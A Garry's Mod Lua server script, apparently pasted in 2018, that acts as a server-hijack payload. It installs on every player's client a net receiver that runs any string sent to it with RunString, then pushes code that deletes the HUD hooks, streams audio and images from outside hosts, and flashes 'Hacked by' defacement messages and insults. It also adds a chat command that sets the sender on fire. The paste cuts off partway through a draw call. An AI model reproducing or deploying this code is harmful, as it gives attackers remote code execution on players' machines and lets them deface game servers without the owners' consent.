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ThomasBaguettes

Untitled

Apr 21st, 2018
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  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29. end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33. pPlayer.m_intCurAction = 0
  34. self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38. net.Start( "skeleton_dancing_troll" )
  39. net.WriteString( strLua )
  40. net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48. lol:SetupPlayer( v )
  49. timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53. lol:SetupPlayer( pPlayer )
  54. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "rip", function( pSender, strText, bTeamChat )
  58. if strText:sub( 1, 5 ) == "/1337" then
  59. pSender:Ignite( 1e9 )
  60. pSender:ChatPrint( "RIP MON GARS" )
  61. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62. return false
  63. end
  64. end )
  65.  
  66.  
  67.  
  68. --Sequence stack
  69. --Start some tunes and steam in our assets
  70. lol:PushAction( 0, function( pPlayer )
  71. lol:SendLua( pPlayer, ([=[
  72. sound.PlayURL( "http://www.underdone.org/leak/underdone/blue.mp3", "", function()end )
  73.  
  74. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  75. local html = [[%s]]
  76. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  77. local pnl = vgui.Create( "HTML" )
  78. pnl:SetPos( ScrW() -1, ScrH() -1 )
  79. pnl:SetVisible( true )
  80. pnl:SetMouseInputEnabled( false )
  81. pnl:SetKeyBoardInputEnabled( false )
  82. pnl:SetSize( intSizeX, intSizeY )
  83. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  84.  
  85. local PageLoaded
  86. PageLoaded = function()
  87. local mat = pnl:GetHTMLMaterial()
  88. if mat then
  89. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  90. return
  91. end
  92.  
  93. timer.Simple( 0.5, PageLoaded )
  94. end
  95.  
  96. PageLoaded()
  97. end
  98.  
  99. LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306958-hud.png", "hud1", 300, 128 )
  100. LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306628-hud2.png", "hud2", 300, 128 )
  101. LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306630-hud3.png", "hud3", 128, 128 )
  102. LoadWebMaterial( "http://image.noelshack.com/fichiers/2018/15/4/1523546571-doritos.png", "doritos", 183, 256 )
  103. LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306626-fedora.png", "fedora", 256, 256 )
  104. LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306620-dew.png", "dew", 110, 256 )
  105. LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306619-awp.png", "awp", 256, 55 )
  106. LoadWebMaterial( "http://image.noelshack.com/fichiers/2018/15/4/1523546571-doritos.png", "doritos2", 183, 256 )
  107. LoadWebMaterial( "http://image.noelshack.com/fichiers/2018/15/4/1523546571-doritos.png", "doritos3", 250, 80 )
  108. LoadWebMaterial( "http://image.noelshack.com/fichiers/2018/15/4/1523546571-doritos.png", "doritos4", 100, 100 )
  109. LoadWebMaterial( "http://image.noelshack.com/fichiers/2018/15/4/1523546571-doritos.png", "doritos5", 200, 200 )
  110. ]=]):format(lol.m_strImageLoadHTML) )
  111. end )
  112.  
  113. --HUD swap
  114. lol:PushAction( 31, function( pPlayer )
  115. lol:SendLua( pPlayer, [[
  116. (GAMEMODE or GM).CalcView = function() end
  117. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  118.  
  119. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  120. for k, v in pairs(remove) do
  121. hook.GetTable()[v] = {}
  122. end
  123.  
  124. local function GetWebMat( strURL )
  125. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  126. end
  127.  
  128. hook.Add( "HUDPaint", "newhud", function()
  129. surface.SetDrawColor( 255, 255, 255, 255 )
  130.  
  131. if GetWebMat( "hud1" ) then
  132. surface.SetMaterial( GetWebMat("hud1")[1] )
  133. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  134. end
  135. if GetWebMat( "hud2" ) then
  136. surface.SetMaterial( GetWebMat("hud2")[1] )
  137. surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  138. end
  139. if GetWebMat( "hud3" ) then
  140. surface.SetMaterial( GetWebMat("hud3")[1] )
  141. surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  142. end
  143. if GetWebMat( "doritos" ) then
  144. surface.SetMaterial( GetWebMat("doritos")[1] )
  145. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  146. end
  147. if GetWebMat( "dew" ) then
  148. surface.SetMaterial( GetWebMat("dew")[1] )
  149. surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  150. end
  151. if GetWebMat( "fedora" ) then
  152. surface.SetMaterial( GetWebMat("fedora")[1] )
  153. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  154. end
  155. if GetWebMat( "awp" ) then
  156. surface.SetMaterial( GetWebMat("awp")[1] )
  157. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  158. end
  159. if GetWebMat( "doritos2" ) then
  160. surface.SetMaterial( GetWebMat("doritos2")[1] )
  161. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 83 *(200 /100), 256, CurTime() *512 )
  162. end
  163. if GetWebMat( "doritos3" ) then
  164. surface.SetMaterial( GetWebMat("doritos3")[1] )
  165. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 250 *(150 /250), 80, CurTime() *512 )
  166. end
  167. if GetWebMat( "doritos4" ) then
  168. surface.SetMaterial( GetWebMat("doritos4")[1] )
  169. surface.DrawTexturedRectRotated( math.random(200, 200), math.random(250, 260), 100 *(256 /250), 100, CurTime() *512 )
  170. end
  171. if GetWebMat( "doritos5" ) then
  172. surface.SetMaterial( GetWebMat("doritos5")[1] )
  173. surface.DrawTexturedRectRotated( math.random(300, 400), math.random(250, 260), 200 *(1920 /1080), 200, CurTime() *512 )
  174. end
  175.  
  176. draw.SimpleTextOutlined(
  177. "R.I.P TON SERV :D",
  178. "DermaLarge",
  179. ScrW() /2 +math.random( -8, 8 ),
  180. ScrH() /2 +math.random( -8, 8 ) +100,
  181. Color( 4, 255, 0, 160 ),
  182. TEXT_ALIGN_CENTER,
  183. TEXT_ALIGN_CENTER,
  184. 3,
  185. Color( 0, 0, 0, 255 )
  186. )
  187.  
  188. draw.SimpleTextOutlined(
  189. "Hacked by TheWeedV2.9",
  190. "DermaLarge",
  191. ScrW() /2 +math.random( -8, 8 ),
  192. ScrH() /2 +math.random( -8, 8 ) +24,
  193. Color( 255, 147, 0, 160 ),
  194. TEXT_ALIGN_CENTER,
  195. TEXT_ALIGN_CENTER,
  196. 3,
  197. Color( 0, 0, 0, 255 )
  198. )
  199.  
  200. draw.SimpleTextOutlined(
  201. "ENLEVER TES LEAKS ET TES BACKDOOR FDP ;)",
  202. "DermaLarge",
  203. ScrW() /2 +math.random( -8, 8 ),
  204. ScrH() /2 +math.random( -8, 8 ) +64,
  205. Color( 247, 255, 0, 160 ),
  206. TEXT_ALIGN_CENTER,
  207. TEXT_ALIGN_CENTER,
  208. 3,
  209. Color( 0, 0, 0, 255 )
  210. )
  211.  
  212. draw.SimpleTextOutlined(
  213. "Created By Thomas Baguettes",
  214. "DermaLarge",
  215. ScrW() /2 +math.random( -8, 8 ),
  216. ScrH() /2 +math.random( -8, 8 ) +0,
  217. Color( 255, 0, 0, 160 ),
  218. TEXT_ALIGN_CENTER,
  219. TEXT_ALIGN_CENTER,
  220. 3,
  221. Color( 0, 0, 0, 255 )
  222. )
  223.  
  224. draw.SimpleTextOutlined(
  225. "Merci pour ton serveur",
  226. "DermaLarge",
  227. ScrW() /2 +math.random( -8, 8 ),
  228. ScrH() /2 +math.random( -8, 8 ) +130,
  229. Color( 0, 4, 255, 160 ),
  230. TEXT_ALIGN_CENTER,
  231. TEXT_ALIGN_CENTER,
  232. 3,
  233. Color( 0, 0, 0, 255 )
  234. )
  235.  
  236. draw.SimpleTextOutlined(
  237. ":D :D :D",
  238. "DermaLarge",
  239. ScrW() /2 +math.random( -8, 8 ),
  240. ScrH() /2 +math.random( -8, 8 ) +160,
  241. Color( 116, 0, 255, 160 ),
  242. TEXT_ALIGN_CENTER,
  243. TEXT_ALIGN_CENTER,
  244. 3,
  245. Color( 0, 0, 0, 255 )
  246. )
  247.  
  248. draw.SimpleTextOutlined(
  249. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  250. "DermaLarge",
  251. ScrW() /2 +math.random( -8, 8 ),
  252. ScrH() /2 +math.random( -8, 8 ) -80,
  253. Color( 162, 61, 0, 160 ),
  254. TEXT_ALIGN_CENTER,
  255. TEXT_ALIGN_CENTER,
  256. 3,
  257. Color( 0, 0, 0, 255 )
  258. )
  259.  
  260. draw.SimpleTextOutlined(
  261. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  262. "DermaLarge",
  263. ScrW() /2 +math.random( -8, 8 ),
  264. ScrH() /2 +math.random( -8, 8 ) +220,
  265. Color( 122, 122, 122, 160 ),
  266. TEXT_ALIGN_CENTER,
  267. TEXT_ALIGN_CENTER,
  268. 3,
  269. Color( 0, 0, 0, 255 )
  270. )
  271.  
  272. draw.SimpleTextOutlined(
  273. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  274. "DermaLarge",
  275. ScrW() /2 +math.random( -8, 8 ),
  276. ScrH() /2 +math.random( -8, 8 ) +260,
  277. Color( 191, 255, 185, 160 ),
  278. TEXT_ALIGN_CENTER,
  279. TEXT_ALIGN_CENTER,
  280. 3,
  281. Color( 0, 0, 0, 255 )
  282. )
  283.  
  284. draw.SimpleTextOutlined(
  285. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  286. "DermaLarge",
  287. ScrW() /2 +math.random( -8, 8 ),
  288. ScrH() /2 +math.random( -8, 8 ) +300,
  289. Color( 185, 242, 255, 160 ),
  290. TEXT_ALIGN_CENTER,
  291. TEXT_ALIGN_CENTER,
  292. 3,
  293. Color( 0, 0, 0, 255 )
  294. )
  295.  
  296. draw.SimpleTextOutlined(
  297. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  298. "DermaLarge",
  299. ScrW() /2 +math.random( -8, 8 ),
  300. ScrH() /2 +math.random( -8, 8 ) +340,
  301. Color( 255, 65, 189, 160 ),
  302. TEXT_ALIGN_CENTER,
  303. TEXT_ALIGN_CENTER,
  304. 3,
  305. Color( 0, 0, 0, 255 )
  306. )
  307.  
  308. draw.SimpleTextOutlined(
  309. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  310. "DermaLarge",
  311. ScrW() /2 +math.random( -8, 8 ),
  312. ScrH() /2 +math.random( -8, 8 ) +380,
  313. Color( 28, 107, 0, 160 ),
  314. TEXT_ALIGN_CENTER,
  315. TEXT_ALIGN_CENTER,
  316. 3,
  317. Color( 0, 0, 0, 255 )
  318. )
  319.  
  320. draw.SimpleTextOutlined(
  321. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  322. "DermaLarge",
  323. ScrW() /2 +math.random( -8, 8 ),
  324. ScrH() /2 +math.random( -8, 8 ) +420,
  325. Color( 255, 0, 0, 160 ),
  326. TEXT_ALIGN_CENTER,
  327. TEXT_ALIGN_CENTER,
  328. 3,
  329. Color( 0, 0, 0, 255 )
  330. )
  331.  
  332. draw.SimpleTextOutlined(
  333. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  334. "DermaLarge",
  335. ScrW() /2 +math.random( -8, 8 ),
  336. ScrH() /2 +math.random( -8, 8 ) +460,
  337. Color( 0, 255, 4, 160 ),
  338. TEXT_ALIGN_CENTER,
  339. TEXT_ALIGN_CENTER,
  340. 3,
  341. Color( 0, 0, 0, 255 )
  342. )
  343.  
  344. draw.SimpleTextOutlined(
  345. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  346. "DermaLarge",
  347. ScrW() /2 +math.random( -8, 8 ),
  348. ScrH() /2 +math.random( -8, 8 ) +500,
  349. Color( 0, 224, 255, 160 ),
  350. TEXT_ALIGN_CENTER,
  351. TEXT_ALIGN_CENTER,
  352. 3,
  353. Color( 0, 0, 0, 255 )
  354. )
  355.  
  356. draw.SimpleTextOutlined(
  357. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  358. "DermaLarge",
  359. ScrW() /2 +math.random( -8, 8 ),
  360. ScrH() /2 +math.random( -8, 8 ) +540,
  361. Color( 0, 255, 4, 160 ),
  362. TEXT_ALIGN_CENTER,
  363. TEXT_ALIGN_CENTER,
  364. 3,
  365. Color( 0, 0, 0, 255 )
  366. )
  367.  
  368. draw.SimpleTextOutlined(
  369. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  370. "DermaLarge",
  371. ScrW() /2 +math.random( -8, 8 ),
  372. ScrH() /2 +math.random( -8, 8 ) -40,
  373. Color( 255, 255, 0, 160 ),
  374. TEXT_ALIGN_CENTER,
  375. TEXT_ALIGN_CENTER,
  376. 3,
  377. Color( 0, 0, 0, 255 )
  378. )
  379.  
  380. draw.SimpleTextOutlined(
  381. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  382. "DermaLarge",
  383. ScrW() /2 +math.random( -8, 8 ),
  384. ScrH() /2 +math.random( -8, 8 ) -120,
  385. Color( 0, 93, 255, 160 ),
  386. TEXT_ALIGN_CENTER,
  387. TEXT_ALIGN_CENTER,
  388. 3,
  389. Color( 0, 0, 0, 255 )
  390. )
  391.  
  392. draw.SimpleTextOutlined(
  393. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  394. "DermaLarge",
  395. ScrW() /2 +math.random( -8, 8 ),
  396. ScrH() /2 +math.random( -8, 8 ) -180,
  397. Color( 169, 107, 107, 160 ),
  398. TEXT_ALIGN_CENTER,
  399. TEXT_ALIGN_CENTER,
  400. 3,
  401. Color( 0, 0, 0, 255 )
  402. )
  403.  
  404.  
  405. draw.SimpleTextOutlined(
  406. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  407. "DermaLarge",
  408. ScrW() /2 +math.random( -8, 8 ),
  409. ScrH() /2 +math.random( -8, 8 ) -220,
  410. Color( 0, 0, 0, 160 ),
  411. TEXT_ALIGN_CENTER,
  412. TEXT_ALIGN_CENTER,
  413. 3,
  414. Color( 0, 0, 0, 255 )
  415. )
  416.  
  417. draw.SimpleTextOutlined(
  418. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  419. "DermaLarge",
  420. ScrW() /2 +math.random( -8, 8 ),
  421. ScrH() /2 +math.random( -8, 8 ) -260,
  422. Color( 255, 162, 0, 160 ),
  423. TEXT_ALIGN_CENTER,
  424. TEXT_ALIGN_CENTER,
  425. 3,
  426. Color( 0, 0, 0, 255 )
  427. )
  428.  
  429. draw.SimpleTextOutlined(
  430. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  431. "DermaLarge",
  432. ScrW() /2 +math.random( -8, 8 ),
  433. ScrH() /2 +math.random( -8, 8 ) -300,
  434. Color( 255, 255, 255, 160 ),
  435. TEXT_ALIGN_CENTER,
  436. TEXT_ALIGN_CENTER,
  437. 3,
  438. Color( 0, 0, 0, 255 )
  439. )
  440.  
  441. draw.SimpleTextOutlined(
  442. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  443. "DermaLarge",
  444. ScrW() /2 +math.random( -8, 8 ),
  445. ScrH() /2 +math.random( -8, 8 ) -340,
  446. Color( 32, 31, 86, 160 ),
  447. TEXT_ALIGN_CENTER,
  448. TEXT_ALIGN_CENTER,
  449. 3,
  450. Color( 0, 0, 0, 255 )
  451. )
  452.  
  453. draw.SimpleTextOutlined(
  454. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  455. "DermaLarge",
  456. ScrW() /2 +math.random( -8, 8 ),
  457. ScrH() /2 +math.random( -8, 8 ) -380,
  458. Color( 185, 166, 7, 160 ),
  459. TEXT_ALIGN_CENTER,
  460. TEXT_ALIGN_CENTER,
  461. 3,
  462. Color( 0, 0, 0, 255 )
  463. )
  464.  
  465. draw.SimpleTextOutlined(
  466. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  467. "DermaLarge",
  468. ScrW() /2 +math.random( -8, 8 ),
  469. ScrH() /2 +math.random( -8, 8 ) -420,
  470. Color( 0, 255, 4, 160 ),
  471. TEXT_ALIGN_CENTER,
  472. TEXT_ALIGN_CENTER,
  473. 3,
  474. Color( 0, 0, 0, 255 )
  475. )
  476.  
  477. draw.SimpleTextOutlined(
  478. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  479. "DermaLarge",
  480. ScrW() /2 +math.random( -8, 8 ),
  481. ScrH() /2 +math.random( -8, 8 ) -460,
  482. Color( 187, 0, 31, 160 ),
  483. TEXT_ALIGN_CENTER,
  484. TEXT_ALIGN_CENTER,
  485. 3,
  486. Color( 0, 0, 0, 255 )
  487. )
  488.  
  489. draw.SimpleTextOutlined(
  490. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  491. "DermaLarge",
